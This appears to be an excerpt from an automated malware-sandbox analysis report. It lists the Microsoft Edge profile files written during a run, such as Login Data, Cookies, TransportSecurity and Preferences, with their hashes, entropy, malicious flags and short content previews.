Preview:	2024/07/23-20:39:16.993 21c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/07/23-20:39:16.995 21c8 Recovering log #3.2024/07/23-20:39:17.189 21c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 28, cookie 0x1d, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	0.863060653641558
Encrypted:	false
SSDEEP:	96:u7/KLPeymOT7ynlm+yKwt7izhGnvgbn8MouB6wznP:u74CnlmVizhGE7IwD
MD5:	C681C90B3AAD7F7E4AF8664DE16971DF
SHA1:	9F72588CEA6569261291B19E06043A1EFC3653BC
SHA-256:	ADB987BF641B2531991B8DE5B10244C3FE1ACFA7AD7A61A65D2E2D8E7AB34C1D
SHA-512:	4696BF334961E4C9757BAC40C41B4FBE3E0B9F821BD242CE6967B347053787BE54D1270D7166745126AFA42E8193AC2E695B0D8F11DE8F0B2876628B7C128942
Malicious:	true
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network Action Predictor

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 11, cookie 0x6, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	0.40293591932113104
Encrypted:	false
SSDEEP:	24:TLVgTjDk5Yk8k+/kCkzD3zzbLGfIzLihje90xq/WMFFfeFzfXVVlYWOT/CUFSe:Tmo9n+8dv/qALihje9kqL42WOT/9F
MD5:	ADC0CFB8A1A20DE2C4AB738B413CBEA4
SHA1:	238EF489E5FDC6EBB36F09D415FB353350E7097B
SHA-256:	7C071E36A64FB1881258712C9880F155D9CBAC693BADCC391A1CB110C257CC37
SHA-512:	38C8B7293B8F7BEF03299BAFB981EEEE309945B1BDE26ACDAD6FDD63247C21CA04D493A1DDAFC3B9A1904EFED998E9C7C0C8E98506FD4AC0AB252DFF34566B66
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......=......\.t.+.>...,...=........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\104ae27b-fd51-4671-b199-23f244d8a477.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	355
Entropy (8bit):	5.455995900557924
Encrypted:	false
SSDEEP:	6:YWyWN1iL50xHA9vh8wXwlmUUAnIMp5sXQcTxC4tBBv31dB8wXwlmUUAnIMp5pQm7:YWyX5Sg9vt+UAnIQcTZBR7N+UAnIIQm7
MD5:	3CF721683267D124EE80F1C71D7A77CA
SHA1:	BB2B5BC9BA5C6C9F0537E1ADE295A2CB41489029
SHA-256:	29B99C93E136B187982D379079CCCC7AAC45514AB47210FF135CD2519B2FD8DE
SHA-512:	018E8294BE26E624079EE295D307C4F72EC4C5CAFF05656999373975C450D4C28C43DCD042428B5ED36CAA5B60F0CF63D1C5DFC3D0053B7DC52BC7FD9DEC49BD
Malicious:	false
Preview:	{"sts":[{"expiry":1727869700.805692,"host":"dUymlFcJcEIuWrPNRCRXYtREHxXDHdPfT47kO1IQnQ0=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1696333700.805702},{"expiry":1753317570.789279,"host":"8/RrMmQlCD2Gsp14wUCE1P8r7B2C5+yE0+g79IPyRsc=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1721781570.789283}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3bccca36-b54e-44d9-bf34-7af7438fcb5c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\4c9b1028-b61f-4710-8e65-dd1f1e26ee3a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\7d4905f3-db45-41b1-8a20-fddf81929e49.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 9, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.406907180869554
Encrypted:	false
SSDEEP:	48:T2dKLopF+SawLUO1Xj8B0fW6BaiNXRoNgF3fB9ta+SzNhu8zGAAYNF1+RoAlGkTA:ige+Au0+6wUiNAPBou8gA+iAlHTvI
MD5:	A741B75E4FEA972DAE19AB031F8128C4
SHA1:	C7C3943C1850AB4DEABE99D210724BF6CCE1434C
SHA-256:	8CCEA071575C08FD7D432386D05B317B6ABB9F42F623AEF61DC3D5B328E05FF2
SHA-512:	BEED6ED2D3999150FF34EC89E40B4831F684BF3B6001169323487791A5A101450C540C942B775E09A9A8FFA9AB6F9E0F51F5CD73FFCE3BCB49CF4E40437B62DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.926136109079379
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LSL:YHpoeSL
MD5:	4DF4574BFBB7E0B0BC56C2C9B12B6C47
SHA1:	81EFCBD3E3DA8221444A21F45305AF6FA4B71907
SHA-256:	E1B77550222C2451772C958E44026ABE518A2C8766862F331765788DDD196377
SHA-512:	78B14F60F2D80400FE50360CF303A961685396B7697775D078825A29B717081442D357C2039AD0984D4B622976B0314EDE8F478CDE320DAEC118DA546CB0682A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF32125.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.926136109079379
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LSL:YHpoeSL
MD5:	4DF4574BFBB7E0B0BC56C2C9B12B6C47
SHA1:	81EFCBD3E3DA8221444A21F45305AF6FA4B71907
SHA-256:	E1B77550222C2451772C958E44026ABE518A2C8766862F331765788DDD196377
SHA-512:	78B14F60F2D80400FE50360CF303A961685396B7697775D078825A29B717081442D357C2039AD0984D4B622976B0314EDE8F478CDE320DAEC118DA546CB0682A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF40bd3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.926136109079379
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LSL:YHpoeSL
MD5:	4DF4574BFBB7E0B0BC56C2C9B12B6C47
SHA1:	81EFCBD3E3DA8221444A21F45305AF6FA4B71907
SHA-256:	E1B77550222C2451772C958E44026ABE518A2C8766862F331765788DDD196377
SHA-512:	78B14F60F2D80400FE50360CF303A961685396B7697775D078825A29B717081442D357C2039AD0984D4B622976B0314EDE8F478CDE320DAEC118DA546CB0682A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.4523272199021457
Encrypted:	false
SSDEEP:	96:uIEumQv8m1ccnvS65YQBo2dQLUu2YQjQZUZl1Rn/h1RVkI:uIEumQv8m1ccnvS6K2c2iUZlHnPd
MD5:	A12B030699D4F4BA9BE2DC0AE487C0F6
SHA1:	63426AF8DC6B3B57E7CD433EA999C0DACC287A13
SHA-256:	D938F388DCD002CAB408E48F33F4EEBE322AE11FA96578239D5CD120A352D03E
SHA-512:	11B0F202F7C85687580DE017FE850397385FED0092762B753153FE4C4DECF24C39A393DEFC63F9ABBC88A20A4BD91D7093B1FE6A9F28D09062827376E5C3CF4E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3009d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF32684.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	203
Entropy (8bit):	5.4042796420747425
Encrypted:	false
SSDEEP:	6:YAQN1iL50xHA9vh8wXwlmUUAnIMp5sXX2SQ:Y45Sg9vt+UAnIXZQ
MD5:	24D66E5F1B8C76C76511DA68057CDE5E
SHA1:	70225FEC1AE3FEF8D8A767D9EA0B0E108BF8F10D
SHA-256:	D5CB3A4A104E2EC4F13E8B4CDF3BD469E0AB638713928BEA1EAEAF03998B794C
SHA-512:	1CA093B4BB4E0B3EE0B791AD0E6B39AC9640CEB6ED005BD10A10B4AF904858F4898D86D26B60B625CDA9425FF317C6B9FE0DF2E12C897A52720AF775B19491AA
Malicious:	false
Preview:	{"expect_ct":[],"sts":[{"expiry":1727869700.805692,"host":"dUymlFcJcEIuWrPNRCRXYtREHxXDHdPfT47kO1IQnQ0=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1696333700.805702}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity~RF31b2a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	203
Entropy (8bit):	5.4042796420747425
Encrypted:	false
SSDEEP:	6:YAQN1iL50xHA9vh8wXwlmUUAnIMp5sXX2SQ:Y45Sg9vt+UAnIXZQ
MD5:	24D66E5F1B8C76C76511DA68057CDE5E
SHA1:	70225FEC1AE3FEF8D8A767D9EA0B0E108BF8F10D
SHA-256:	D5CB3A4A104E2EC4F13E8B4CDF3BD469E0AB638713928BEA1EAEAF03998B794C
SHA-512:	1CA093B4BB4E0B3EE0B791AD0E6B39AC9640CEB6ED005BD10A10B4AF904858F4898D86D26B60B625CDA9425FF317C6B9FE0DF2E12C897A52720AF775B19491AA
Malicious:	false
Preview:	{"expect_ct":[],"sts":[{"expiry":1727869700.805692,"host":"dUymlFcJcEIuWrPNRCRXYtREHxXDHdPfT47kO1IQnQ0=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1696333700.805702}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity~RF42883.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	203
Entropy (8bit):	5.4042796420747425
Encrypted:	false
SSDEEP:	6:YAQN1iL50xHA9vh8wXwlmUUAnIMp5sXX2SQ:Y45Sg9vt+UAnIXZQ
MD5:	24D66E5F1B8C76C76511DA68057CDE5E
SHA1:	70225FEC1AE3FEF8D8A767D9EA0B0E108BF8F10D
SHA-256:	D5CB3A4A104E2EC4F13E8B4CDF3BD469E0AB638713928BEA1EAEAF03998B794C
SHA-512:	1CA093B4BB4E0B3EE0B791AD0E6B39AC9640CEB6ED005BD10A10B4AF904858F4898D86D26B60B625CDA9425FF317C6B9FE0DF2E12C897A52720AF775B19491AA
Malicious:	false
Preview:	{"expect_ct":[],"sts":[{"expiry":1727869700.805692,"host":"dUymlFcJcEIuWrPNRCRXYtREHxXDHdPfT47kO1IQnQ0=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1696333700.805702}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.36515621748816035
Encrypted:	false
SSDEEP:	24:TLH3lIIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:Tb31DtX5nDOvyKDhU1cSB
MD5:	25363ADC3C9D98BAD1A33D0792405CBF
SHA1:	D06E343087D86EF1A06F7479D81B26C90A60B5C3
SHA-256:	6E019B8B9E389216D5BDF1F2FE63F41EF98E71DA101F2A6BE04F41CC5954532D
SHA-512:	CF7EEE35D0E00945AF221BEC531E8BF06C08880DA00BD103FA561BC069D7C6F955CBA3C1C152A4884601E5A670B7487D39B4AE9A4D554ED8C14F129A74E555F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......X..g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ac1e02fa-87b9-4462-b431-7bfc62c53688.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\bd74a7f9-5802-4910-9cfa-0c8732c9d040.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	355
Entropy (8bit):	5.462782652114145
Encrypted:	false
SSDEEP:	6:YWyWN1iL50xHA9vh8wXwlmUUAnIMp5sXQcTWUkVlBv31dB8wXwlmUUAnIMp5pkc+:YWyX5Sg9vt+UAnIQcTWUkXR7N+UAnIIs
MD5:	81E40B26A4D0E35FD107769846FC0E4B
SHA1:	9085AF76664631DF4600DD06892295477FAEA2D3
SHA-256:	51372B98524C42AF4CDE526BB3B734416DF84A1ACDD4239E6E4B7059D00FCD64
SHA-512:	8F1E8DE7DBC35E28F0789C19905D867B827A9A302137595872BE0B532353A6FFCCD8A20927019737BF8328D6433FDAAE0FD7D3DD7734FB8DFD596B5935F7874F
Malicious:	false
Preview:	{"sts":[{"expiry":1727869700.805692,"host":"dUymlFcJcEIuWrPNRCRXYtREHxXDHdPfT47kO1IQnQ0=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1696333700.805702},{"expiry":1753317631.280131,"host":"8/RrMmQlCD2Gsp14wUCE1P8r7B2C5+yE0+g79IPyRsc=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1721781631.280149}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\c48842fa-c9a4-4eaf-bd04-5a2e3edb45ba.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2493
Entropy (8bit):	5.282958897125671
Encrypted:	false
SSDEEP:	48:YXs08s1OBrcsJfcdsxgsorszgnsO+HXsvVYsD1+Hyes6fCxbZ:spur1VQ6y4eVj14HfA1
MD5:	375BA9AA2A974F4CB06B2E32BFA5D415
SHA1:	8663473A894F1A57A234FB86D29CC728CAEA6D57
SHA-256:	9E0C91F82303A3C2757933AB7C41AC15A5906A6821E3285173D24D3972F3668F
SHA-512:	4FF887A4E5C2A5DE6AF948DECD59C20DBA7C4D02F23A824D835881021A65075AB3ACD03C93FCF03D27BC6A3B839CF243838E8A1F145968908607F7B84E185DE0
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13368847160137383","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com"},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13368847160138831","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABMAAABodHRwczovL3lvdXR1YmUuY29tAA==",false],"server":"https://www.youtube.com"},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13368847161715455","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com"},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13368847163723081","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://fonts.gstatic.com"},{"alternative_service":[{"adve

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d643b52c-926e-4305-8a70-e93335b3dd2e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5744102022039023
Encrypted:	false
SSDEEP:	12:TL1QAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3isCHIrdNG7fdjxHIXOFSY:TLiOUOq0afDdWec9sJKG7zo7J5fc
MD5:	8B7CCBAE5FB8F1D3FDB331AED0833FB0
SHA1:	7924CE8D7CF818F1132F1C8A047FBEEF13F18877
SHA-256:	8029C4EAA75734867C5970AB41422A7F551EBFDF65E152C09F8A4038B17080C8
SHA-512:	23B07F98E037ECC9BAAB37EA93264503B936CA180F4873D19944D186F3529926CBDC7A0962E7A51EADC8CEB2CA85D94BFC3C431D0068B8320C45BF24C0DDB163
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9492
Entropy (8bit):	4.940357125216055
Encrypted:	false
SSDEEP:	96:sVYkdBojJ13rb9G8DaYt3gd85Th6Rp9/x+6M8muecXo71eAeCTAe4zvrI2CHQyVl:sVYkd6JJDaYt3G8qpj+F2o7QAl0Ihdf
MD5:	3AF0B23DA1861D91CAC5D189D97EF259
SHA1:	7E1FE040FD4D4467DEAFE9ED15FB9D8E71355D3E
SHA-256:	CA7E6AA82AFD9C237B699AAB747B4A87D14A177223BF6C5A42D7557C39D89AB8
SHA-512:	DC6C9AFD00D7C2E9B9796FCE1AE7903243C7C44FCD63C927F516306DBC91240C8509D67C1D9A6920D6B4EB892F09E21B7E232FC8CC31475B487B11FD70485617
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13366255156531271","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF32f5e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9492
Entropy (8bit):	4.940357125216055
Encrypted:	false
SSDEEP:	96:sVYkdBojJ13rb9G8DaYt3gd85Th6Rp9/x+6M8muecXo71eAeCTAe4zvrI2CHQyVl:sVYkd6JJDaYt3G8qpj+F2o7QAl0Ihdf
MD5:	3AF0B23DA1861D91CAC5D189D97EF259
SHA1:	7E1FE040FD4D4467DEAFE9ED15FB9D8E71355D3E
SHA-256:	CA7E6AA82AFD9C237B699AAB747B4A87D14A177223BF6C5A42D7557C39D89AB8
SHA-512:	DC6C9AFD00D7C2E9B9796FCE1AE7903243C7C44FCD63C927F516306DBC91240C8509D67C1D9A6920D6B4EB892F09E21B7E232FC8CC31475B487B11FD70485617
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13366255156531271","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF363ad.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9492
Entropy (8bit):	4.940357125216055
Encrypted:	false
SSDEEP:	96:sVYkdBojJ13rb9G8DaYt3gd85Th6Rp9/x+6M8muecXo71eAeCTAe4zvrI2CHQyVl:sVYkd6JJDaYt3G8qpj+F2o7QAl0Ihdf
MD5:	3AF0B23DA1861D91CAC5D189D97EF259
SHA1:	7E1FE040FD4D4467DEAFE9ED15FB9D8E71355D3E
SHA-256:	CA7E6AA82AFD9C237B699AAB747B4A87D14A177223BF6C5A42D7557C39D89AB8
